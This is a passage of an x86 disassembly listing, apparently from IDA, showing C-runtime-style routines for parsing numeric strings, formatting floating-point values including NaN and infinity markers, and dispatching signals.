[ebp+var_10] push eax push ebx call sub_425322 push ebx call sub_425380 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425322 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425402 xor edx, edx pop edi loc_42544F: ; CODE XREF: sub_4253DB+21j ; sub_4253DB+9Fj cmp [ebx+8], edx jnz short loc_42547C mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42544F ; --------------------------------------------------------------------------- loc_42547C: ; CODE XREF: sub_4253DB+77j mov esi, 8000h loc_425481: ; CODE XREF: sub_4253DB+B9j test [ebx+8], esi jnz short loc_425496 push ebx call sub_425380 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_425481 ; --------------------------------------------------------------------------- loc_425496: ; CODE XREF: sub_4253DB+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_4253DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4254A2 proc near ; CODE XREF: sub_424D28+17p ; sub_424D55+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_4254DD: ; CODE XREF: sub_4254A2+52j mov cl, [edi] cmp cl, 20h jz short loc_4254F3 cmp cl, 9 jz short loc_4254F3 cmp cl, 0Ah jz short loc_4254F3 cmp cl, 0Dh jnz short loc_4254F6 loc_4254F3: ; CODE XREF: sub_4254A2+40j ; sub_4254A2+45j ... inc edi jmp short loc_4254DD ; --------------------------------------------------------------------------- loc_4254F6: ; CODE XREF: sub_4254A2+4Fj push 4 pop esi loc_4254F9: ; CODE XREF: sub_4254A2+AEj ; sub_4254A2+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_42577C ; default ; jumptable 00425505 case 10 jmp off_425943[eax*4] ; switch jump loc_42550C: ; DATA XREF: .packed:off_425943o cmp bl, 31h ; jumptable 00425505 case 0 jl short loc_42551D cmp bl, 39h jg short loc_42551D loc_425516: ; CODE XREF: sub_4254A2+C4j ; sub_4254A2+118j push 3 jmp loc_42573A ; --------------------------------------------------------------------------- loc_42551D: ; CODE XREF: sub_4254A2+6Dj ; sub_4254A2+72j cmp bl, byte_43D088 jnz short loc_42552C loc_425525: ; CODE XREF: sub_4254A2+124j push 5 jmp loc_425772 ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4254A2+81j movsx eax, bl sub eax, 2Bh jz short loc_425552 dec eax dec eax jz short loc_425546 sub eax, 3 jnz loc_425815 jmp loc_4255D5 ; --------------------------------------------------------------------------- loc_425546: ; CODE XREF: sub_4254A2+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_4254F9 ; --------------------------------------------------------------------------- loc_425552: ; CODE XREF: sub_4254A2+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_4254F9 ; --------------------------------------------------------------------------- loc_42555B: ; CODE XREF: sub_4254A2+63j ; DATA XREF: .packed:off_425943o cmp bl, 31h ; jumptable 00425505 case 1 mov [ebp+var_10], edx jl short loc_425568 cmp bl, 39h jle short loc_425516 loc_425568: ; CODE XREF: sub_4254A2+BFj cmp bl, byte_43D088 jz loc_425630 cmp bl, 2Bh jz short loc_4255AA cmp bl, 2Dh jz short loc_4255AA cmp bl, 30h jz short loc_4255D5 loc_425583: ; CODE XREF: sub_4254A2+207j cmp bl, 43h jle loc_425815 cmp bl, 45h jle short loc_4255A3 cmp bl, 63h jle loc_425815 cmp bl, 65h jg loc_425815 loc_4255A3: ; CODE XREF: sub_4254A2+EDj push 6 jmp loc_425772 ; --------------------------------------------------------------------------- loc_4255AA: ; CODE XREF: sub_4254A2+D5j ; sub_4254A2+DAj ... dec edi push 0Bh jmp loc_425772 ; --------------------------------------------------------------------------- loc_4255B2: ; CODE XREF: sub_4254A2+63j ; DATA XREF: .packed:off_425943o cmp bl, 31h ; jumptable 00425505 case 2 jl short loc_4255C0 cmp bl, 39h jle loc_425516 loc_4255C0: ; CODE XREF: sub_4254A2+113j cmp bl, byte_43D088 jz loc_425525 cmp bl, 30h jnz loc_42578A loc_4255D5: ; CODE XREF: sub_4254A2+9Fj ; sub_4254A2+DFj mov eax, edx jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_4255DC: ; CODE XREF: sub_4254A2+63j ; DATA XREF: .packed:off_425943o mov [ebp+var_10], edx ; jumptable 00425505 case 3 loc_4255DF: ; CODE XREF: sub_4254A2+184j cmp dword_43D084, edx jle short loc_4255F8 movzx eax, bl push esi push eax call sub_41FDB5 pop ecx pop ecx push 1 pop edx jmp short loc_425606 ; --------------------------------------------------------------------------- loc_4255F8: ; CODE XREF: sub_4254A2+143j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425606: ; CODE XREF: sub_4254A2+154j test eax, eax jz short loc_425628 cmp [ebp+var_4], 19h jnb short loc_425620 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425623 ; --------------------------------------------------------------------------- loc_425620: ; CODE XREF: sub_4254A2+16Cj inc [ebp+var_8] loc_425623: ; CODE XREF: sub_4254A2+17Cj mov bl, [edi] inc edi jmp short loc_4255DF ; --------------------------------------------------------------------------- loc_425628: ; CODE XREF: sub_4254A2+166j cmp bl, byte_43D088 jnz short loc_425697 loc_425630: ; CODE XREF: sub_4254A2+CCj mov eax, esi jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425637: ; CODE XREF: sub_4254A2+63j ; DATA XREF: .packed:off_425943o cmp [ebp+var_4], 0 ; jumptable 00425505 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_425650 loc_425643: ; CODE XREF: sub_4254A2+1ACj cmp bl, 30h jnz short loc_425650 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425643 ; --------------------------------------------------------------------------- loc_425650: ; CODE XREF: sub_4254A2+19Fj ; sub_4254A2+1A4j ... cmp dword_43D084, edx jle short loc_425669 movzx eax, bl push esi push eax call sub_41FDB5 pop ecx pop ecx push 1 pop edx jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425669: ; CODE XREF: sub_4254A2+1B4j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425677: ; CODE XREF: sub_4254A2+1C5j test eax, eax jz short loc_425697 cmp [ebp+var_4], 19h jnb short loc_425692 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_425692: ; CODE XREF: sub_4254A2+1DDj mov bl, [edi] inc edi jmp short loc_425650 ; --------------------------------------------------------------------------- loc_425697: ; CODE XREF: sub_4254A2+18Cj ; sub_4254A2+1D7j cmp bl, 2Bh jz loc_4255AA cmp bl, 2Dh jz loc_4255AA jmp loc_425583 ; --------------------------------------------------------------------------- loc_4256AE: ; CODE XREF: sub_4254A2+63j ; DATA XREF: .packed:off_425943o cmp dword_43D084, edx ; jumptable 00425505 case 5 mov [ebp+var_24], edx jle short loc_4256CA movzx eax, bl push esi push eax call sub_41FDB5 pop ecx pop ecx push 1 pop edx jmp short loc_4256D8 ; --------------------------------------------------------------------------- loc_4256CA: ; CODE XREF: sub_4254A2+215j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4256D8: ; CODE XREF: sub_4254A2+226j test eax, eax jz loc_42578A mov eax, esi jmp short loc_42573B ; --------------------------------------------------------------------------- loc_4256E4: ; CODE XREF: sub_4254A2+63j ; DATA XREF: .packed:off_425943o lea ecx, [edi-2] ; jumptable 00425505 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_4256F4 cmp bl, 39h jle short loc_425738 loc_4256F4: ; CODE XREF: sub_4254A2+24Bj movsx eax, bl sub eax, 2Bh jz short loc_425770 dec eax dec eax jz short loc_425764 sub eax, 3 jnz loc_425818 loc_425709: ; CODE XREF: sub_4254A2+2A4j push 8 jmp short loc_425772 ; --------------------------------------------------------------------------- loc_42570D: ; CODE XREF: sub_4254A2+63j ; DATA XREF: .packed:off_425943o mov [ebp+var_20], edx ; jumptable 00425505 case 8 loc_425710: ; CODE XREF: sub_4254A2+276j cmp bl, 30h jnz short loc_42571A mov bl, [edi] inc edi jmp short loc_425710 ; --------------------------------------------------------------------------- loc_42571A: ; CODE XREF: sub_4254A2+271j cmp bl, 31h jl loc_425815 cmp bl, 39h jg loc_425815 jmp short loc_425738 ; --------------------------------------------------------------------------- loc_42572E: ; CODE XREF: sub_4254A2+63j ; DATA XREF: .packed:off_425943o cmp bl, 31h ; jumptable 00425505 case 7 jl short loc_425741 cmp bl, 39h jg short loc_425741 loc_425738: ; CODE XREF: sub_4254A2+250j ; sub_4254A2+28Aj push 9 loc_42573A: ; CODE XREF: sub_4254A2+76j pop eax loc_42573B: ; CODE XREF: sub_4254A2+240j dec edi jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425741: ; CODE XREF: sub_4254A2+28Fj ; sub_4254A2+294j cmp bl, 30h jnz short loc_42578A jmp short loc_425709 ; --------------------------------------------------------------------------- loc_425748: ; CODE XREF: sub_4254A2+63j ; DATA XREF: .packed:off_425943o cmp [ebp+arg_18], 0 ; jumptable 00425505 case 11 jz short loc_425778 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_425770 dec eax dec eax jnz loc_425818 loc_425764: ; CODE XREF: sub_4254A2+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425770: ; CODE XREF: sub_4254A2+258j ; sub_4254A2+2B8j push 7 loc_425772: ; CODE XREF: sub_4254A2+85j ; sub_4254A2+103j ... pop eax jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425778: ; CODE XREF: sub_4254A2+2AAj push 0Ah dec edi pop eax loc_42577C: ; CODE XREF: sub_4254A2+5Dj ; sub_4254A2+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425505 case 10 jz loc_42581A jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_42578A: ; CODE XREF: sub_4254A2+12Dj ; sub_4254A2+238j ... mov edi, [ebp+arg_8] jmp loc_42581A ; --------------------------------------------------------------------------- loc_425792: ; CODE XREF: sub_4254A2+63j ; DATA XREF: .packed:off_425943o mov [ebp+var_20], 1 ; jumptable 00425505 case 9 xor esi, esi loc_42579B: ; CODE XREF: sub_4254A2+339j cmp dword_43D084, 1 jle short loc_4257B3 movzx eax, bl push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_4257C2 ; --------------------------------------------------------------------------- loc_4257B3: ; CODE XREF: sub_4254A2+300j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4257C2: ; CODE XREF: sub_4254A2+30Fj test eax, eax jz short loc_4257E2 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_4257DD mov bl, [edi] inc edi jmp short loc_42579B ; --------------------------------------------------------------------------- loc_4257DD: ; CODE XREF: sub_4254A2+334j mov esi, 1451h loc_4257E2: ; CODE XREF: sub_4254A2+322j mov [ebp+var_1C], esi loc_4257E5: ; CODE XREF: sub_4254A2+371j cmp dword_43D084, 1 jle short loc_4257FD movzx eax, bl push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_42580C ; --------------------------------------------------------------------------- loc_4257FD: ; CODE XREF: sub_4254A2+34Aj mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42580C: ; CODE XREF: sub_4254A2+359j test eax, eax jz short loc_425815 mov bl, [edi] inc edi jmp short loc_4257E5 ; --------------------------------------------------------------------------- loc_425815: ; CODE XREF: sub_4254A2+99j ; sub_4254A2+E4j ... dec edi jmp short loc_42581A ; --------------------------------------------------------------------------- loc_425818: ; CODE XREF: sub_4254A2+261j ; sub_4254A2+2BCj mov edi, ecx loc_42581A: ; CODE XREF: sub_4254A2+2DDj ; sub_4254A2+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425902 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425846 cmp [ebp+var_45], 5 jl short loc_42583A inc [ebp+var_45] loc_42583A: ; CODE XREF: sub_4254A2+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425849 ; --------------------------------------------------------------------------- loc_425846: ; CODE XREF: sub_4254A2+38Dj mov eax, [ebp+var_C] loc_425849: ; CODE XREF: sub_4254A2+3A2j cmp [ebp+var_4], 0 jbe loc_4258F8 loc_425853: ; CODE XREF: sub_4254A2+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_425861 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_425853 ; --------------------------------------------------------------------------- loc_425861: ; CODE XREF: sub_4254A2+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_4253DB mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_425880 neg eax loc_425880: ; CODE XREF: sub_4254A2+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_42588B add eax, [ebp+arg_10] loc_42588B: ; CODE XREF: sub_4254A2+3E4j cmp [ebp+var_24], ecx jnz short loc_425893 sub eax, [ebp+arg_14] loc_425893: ; CODE XREF: sub_4254A2+3ECj cmp eax, 1450h jle short loc_4258CA mov [ebp+var_2C], 1 loc_4258A1: ; CODE XREF: sub_4254A2+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4258AD: ; CODE XREF: sub_4254A2+454j ; sub_4254A2+45Ej cmp [ebp+var_2C], 0 jz short loc_425913 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425928 ; --------------------------------------------------------------------------- loc_4258CA: ; CODE XREF: sub_4254A2+3F6j cmp eax, 0FFFFEBB0h jge short loc_4258DA mov [ebp+var_30], 1 jmp short loc_4258A1 ; --------------------------------------------------------------------------- loc_4258DA: ; CODE XREF: sub_4254A2+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_42600E mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4258AD ; --------------------------------------------------------------------------- loc_4258F8: ; CODE XREF: sub_4254A2+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4258AD ; --------------------------------------------------------------------------- loc_425902: ; CODE XREF: sub_4254A2+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425928 ; --------------------------------------------------------------------------- loc_425913: ; CODE XREF: sub_4254A2+40Fj cmp [ebp+var_30], 0 jz short loc_425928 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425928: ; CODE XREF: sub_4254A2+426j ; sub_4254A2+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4254A2 endp ; --------------------------------------------------------------------------- off_425943 dd offset loc_42550C ; DATA XREF: sub_4254A2+63r dd offset loc_42555B ; jump table for switch statement dd offset loc_4255B2 dd offset loc_4255DC dd offset loc_425637 dd offset loc_4256AE dd offset loc_4256E4 dd offset loc_42572E dd offset loc_42570D dd offset loc_425792 dd offset loc_42577C dd offset loc_425748 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425973 proc near ; CODE XREF: sub_424DF9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_4259D5 mov byte ptr [ebx+2], 2Dh jmp short loc_4259D9 ; --------------------------------------------------------------------------- loc_4259D5: ; CODE XREF: sub_425973+5Aj mov byte ptr [ebx+2], 20h loc_4259D9: ; CODE XREF: sub_425973+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_4259FF test edi, edi jnz short loc_4259FF cmp [ebp+arg_0], edi jnz short loc_4259FF loc_4259EA: ; CODE XREF: sub_425973+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_425BFD ; --------------------------------------------------------------------------- loc_4259FF: ; CODE XREF: sub_425973+6Cj ; sub_425973+70j ... cmp dx, si jnz short loc_425A7E mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425A18 cmp [ebp+arg_0], 0 jz short loc_425A27 loc_425A18: ; CODE XREF: sub_425973+9Dj test edi, 40000000h jnz short loc_425A27 push offset a1Snan ; "1#SNAN" jmp short loc_425A6D ; --------------------------------------------------------------------------- loc_425A27: ; CODE XREF: sub_425973+A3j ; sub_425973+ABj test cx, cx jz short loc_425A41 cmp edi, 0C0000000h jnz short loc_425A41 cmp [ebp+arg_0], 0 jnz short loc_425A68 push offset a1Ind ; "1#IND" jmp short loc_425A50 ; --------------------------------------------------------------------------- loc_425A41: ; CODE XREF: sub_425973+B7j ; sub_425973+BFj cmp edi, eax jnz short loc_425A68 cmp [ebp+arg_0], 0 jnz short loc_425A68 push offset a1Inf ; "1#INF" loc_425A50: ; CODE XREF: sub_425973+CCj lea eax, [ebx+4] push eax call sub_41C890 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_425A5F: ; CODE XREF: sub_425973+109j and [ebp+var_4], 0 jmp loc_425BD6 ; --------------------------------------------------------------------------- loc_425A68: ; CODE XREF: sub_425973+C5j ; sub_425973+D0j ... push offset a1Qnan ; "1#QNAN" loc_425A6D: ; CODE XREF: sub_425973+B2j lea eax, [ebx+4] push eax call sub_41C890 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_425A5F ; --------------------------------------------------------------------------- loc_425A7E: ; CODE XREF: sub_425973+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_42600E add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_425ADF lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425DEE pop ecx pop ecx loc_425ADF: ; CODE XREF: sub_425973+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425AF9 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_425AFC jmp loc_4259EA ; --------------------------------------------------------------------------- loc_425AF9: ; CODE XREF: sub_425973+173j mov edi, [ebp+arg_C] loc_425AFC: ; CODE XREF: sub_425973+17Fj cmp edi, 15h jle short loc_425B04 push 15h pop edi loc_425B04: ; CODE XREF: sub_425973+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425B1A: ; CODE XREF: sub_425973+1B4j lea eax, [ebp+var_10] push eax call sub_425380 dec [ebp+arg_14] pop ecx jnz short loc_425B1A test esi, esi jge short loc_425B44 neg esi and esi, 0FFh jle short loc_425B44 loc_425B37: ; CODE XREF: sub_425973+1CFj lea eax, [ebp+var_10] push eax call sub_4253AE dec esi pop ecx jnz short loc_425B37 loc_425B44: ; CODE XREF: sub_425973+1B8j ; sub_425973+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_425BA1 mov [ebp+arg_C], ecx loc_425B54: ; CODE XREF: sub_425973+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_425380 lea eax, [ebp+var_10] push eax call sub_425380 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425322 lea eax, [ebp+var_10] push eax call sub_425380 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_425B54 mov eax, [ebp+arg_14] loc_425BA1: ; CODE XREF: sub_425973+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_425BDE loc_425BAE: ; CODE XREF: sub_425973+248j cmp eax, ecx jb short loc_425BC1 cmp byte ptr [eax], 39h jnz short loc_425BBD mov byte ptr [eax], 30h dec eax jmp short loc_425BAE ; --------------------------------------------------------------------------- loc_425BBD: ; CODE XREF: sub_425973+242j cmp eax, ecx jnb short loc_425BC5 loc_425BC1: ; CODE XREF: sub_425973+23Dj inc eax inc word ptr [ebx] loc_425BC5: ; CODE XREF: sub_425973+24Cj inc byte ptr [eax] loc_425BC7: ; CODE XREF: sub_425973+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425BD6: ; CODE XREF: sub_425973+F0j mov eax, [ebp+var_4] loc_425BD9: ; CODE XREF: sub_425973+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_425BDE: ; CODE XREF: sub_425973+239j ; sub_425973+275j cmp eax, ecx jb short loc_425BEE cmp byte ptr [eax], 30h jnz short loc_425BEA dec eax jmp short loc_425BDE ; --------------------------------------------------------------------------- loc_425BEA: ; CODE XREF: sub_425973+272j cmp eax, ecx jnb short loc_425BC7 loc_425BEE: ; CODE XREF: sub_425973+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_425BFD: ; CODE XREF: sub_425973+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425BD9 sub_425973 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425C06 proc near ; CODE XREF: sub_422DFC+21DDp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_425C6D dec eax dec eax jz short loc_425C5E sub eax, 4 jz short loc_425C5E sub eax, 3 jz short loc_425C5E sub eax, 4 jz short loc_425C51 sub eax, 6 jz short loc_425C44 dec eax jz short loc_425C37 or eax, 0FFFFFFFFh jmp loc_425D2F ; --------------------------------------------------------------------------- loc_425C37: ; CODE XREF: sub_425C06+27j mov esi, dword_4DC004 mov eax, offset dword_4DC004 jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C44: ; CODE XREF: sub_425C06+24j mov esi, dword_4DC000 mov eax, offset dword_4DC000 jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C51: ; CODE XREF: sub_425C06+1Fj mov esi, dword_4DC008 mov eax, offset dword_4DC008 jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C5E: ; CODE XREF: sub_425C06+10j ; sub_425C06+15j ... push edi call sub_425D33 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C6D: ; CODE XREF: sub_425C06+Cj mov esi, dword_4DBFFC mov eax, offset dword_4DBFFC loc_425C78: ; CODE XREF: sub_425C06+3Cj ; sub_425C06+49j ... cmp esi, 1 jnz short loc_425C84 xor eax, eax jmp loc_425D2F ; --------------------------------------------------------------------------- loc_425C84: ; CODE XREF: sub_425C06+75j test esi, esi jnz short loc_425C8F push 3 call sub_41C1A2 loc_425C8F: ; CODE XREF: sub_425C06+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_425CA1 cmp edi, 0Bh jz short loc_425CA1 cmp edi, 4 jnz short loc_425CC7 loc_425CA1: ; CODE XREF: sub_425C06+8Fj ; sub_425C06+94j mov ebx, dword_4DBE9C and dword_4DBE9C, 0 cmp edi, ecx jnz short loc_425CF6 mov edx, dword_43D4CC mov dword_43D4CC, 8Ch mov [ebp+arg_0], edx jmp short loc_425CCA ; --------------------------------------------------------------------------- loc_425CC7: ; CODE XREF: sub_425C06+99j mov ebx, [ebp+arg_0] loc_425CCA: ; CODE XREF: sub_425C06+BFj cmp edi, ecx jnz short loc_425CF6 mov eax, dword_43D4C0 mov ecx, dword_43D4C4 add ecx, eax cmp eax, ecx jge short loc_425CFD lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43D450h[edx*4] loc_425CEB: ; CODE XREF: sub_425C06+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425CEB jmp short loc_425CFD ; --------------------------------------------------------------------------- loc_425CF6: ; CODE XREF: sub_425C06+AAj ; sub_425C06+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425D0B loc_425CFD: ; CODE XREF: sub_425C06+D7j ; sub_425C06+EEj push dword_43D4CC push 8 call esi pop ecx pop ecx jmp short loc_425D19 ; --------------------------------------------------------------------------- loc_425D0B: ; CODE XREF: sub_425C06+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425D19 cmp edi, 4 jnz short loc_425D2C loc_425D19: ; CODE XREF: sub_425C06+103j ; sub_425C06+10Cj cmp edi, 8 mov dword_4DBE9C, ebx jnz short loc_425D2C mov eax, [ebp+arg_0] mov dword_43D4CC, eax loc_425D2C: ; CODE XREF: sub_425C06+111j ; sub_425C06+11Cj xor eax, eax pop ebx loc_425D2F: ; CODE XREF: sub_425C06+2Cj ; sub_425C06+79j pop edi pop esi pop ebp retn sub_425C06 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425D33 proc near ; CODE XREF: sub_425C06+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43D4C8 cmp dword_43D44C, edx push esi mov eax, offset dword_43D448 jz short loc_425D61 lea esi, [ecx+ecx*2] lea esi, ds:43D448h[esi*4] loc_425D55: ; CODE XREF: sub_425D33+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425D61 cmp [eax+4], edx jnz short loc_425D55 loc_425D61: ; CODE XREF: sub_425D33+16j ; sub_425D33+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43D448h[ecx*4] cmp eax, ecx jnb short loc_425D75 cmp [eax+4], edx jz short locret_425D77 loc_425D75: ; CODE XREF: sub_425D33+3Bj xor eax, eax locret_425D77: ; CODE XREF: sub_425D33+40j retn sub_425D33 endp ; =============== S U B R O U T I N E ======================================= sub_425D78 proc near ; CODE XREF: sub_4251BB+8Bp ; sub_4251BB+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DD140 jnb short loc_425DDF mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DD040[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425DDF mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short 